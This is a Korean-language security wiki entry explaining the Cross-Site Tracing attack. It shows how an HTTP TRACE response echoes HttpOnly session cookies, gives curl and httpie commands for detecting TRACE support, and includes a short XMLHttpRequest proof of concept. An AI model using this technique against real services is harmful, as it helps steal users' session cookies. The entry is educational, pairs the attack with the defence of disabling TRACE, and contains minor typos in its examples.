XST

Cross-Site Tracing

Introduction

XST(Cross-Site Tracing)는 HTTP TRACE Method를 이용한 공격 방법입니다. 이를 통해서 HttpOnly 등으로 보호된 세션쿠키를 탈취하는데 사용할 수 있습니다.

TRACE Method

TRACE Method는 테스트를 위한 HTTP Method 중 하나로 HTTP Request를 그대로 Response에 포함해서 전달하는 기능을 가지고 있습니다. 마치 Echo 서비스와 비슷합니다.

TRACE / HTTP.1.1
TestHeader: 1234
Cookie: abcd=1234;
HTTP/1.1 200 OK
Connection: Keep-Alive
...

TRACE / HTTP.1.1
TestHeader: 1234
Cookie: abcd=1234;

HttpOnly

Cookie 속성 중 HttpOnly가 적용된 쿠키는 Javascript에서 접근하지 못하도록 제한하고 있습니다. 일반적으로 세션 쿠키와 같이 중요한 쿠키는 HttpOnly 속성을 주어 XSS 등의 공격을 통해 Javascript를 이용하여 쿠키에 접근하는 것을 차단하기 떄문에 세션 쿠키를 보호하는데 좋은 방법 중 하나입니다.

Set-Cookie: session=1231421512515; httponly;

session이란 쿠키가 만약 httponly 속성이라면 javascript에서 접근 시 해당 쿠키가 노출되지 않습니다.

consoel.log(document.cookie)

일반적인 경우라면 cookie를 탈취할 수 없지만, 서비스에 TRACE Method가 허용된 경우 TRACE Method로 웹 요청을 발생시키면, HTTP Request에는 Cookie가 전달되기 때문에 sessionid 쿠키가 전송됩니다. 이 때 TRACE는 Response에 Request 정보를 포함하기 때문에 Response에 sessionid 쿠키 정보가 포함되어 전달됩니다.

TRACE /testpage HTTP.1.1
TestHeader: 1234
Cookie: sessionid=1123142124234;
HTTP/1.1 200 OK
Connection: Keep-Alive
...

TRACE /testpage HTTP.1.1
TestHeader: 1234
Cookie: sessionid=1123142124234;

결국 공격자는 Response handling을 하여 response 내 sessionid 쿠키 값을 얻을 수 있습니다.

Offensive techniques

Detect

서비스에서 TRACE 메소드를 허용하는 페이지를 확인하면 됩니다. ZAP/BurpSuite에서 Method 부분을 TRACE로 변경하여 전송하거나 curl, httpie 등의 cli 도구에서 method를 지정해 전송하는 형태로 체크할 수 있습니다.

[ curl ]
curl -i -k -X TRACE https://target.service

[ httpie ]
http TRACE https://target.service

Exploitation

XMLHttpRequet

xmlHTTP = new XMLHttpRequest();
xmlHTTP.open("TRACE", "https://target.service", false);
	xmlHTTP.onreadystatechange = function () {
		if (xmlHTTP.readyState == 4 && xmlHTTP.status == 200) {
			alert(xmlHTTP.response)
		}
	}
xmlHTTP.send();

Defensive techniques

TRACE Method를 비 활성화하면 됩니다.

Tools

References

  • https://owasp.org/www-community/attacks/Cross_Site_Tracing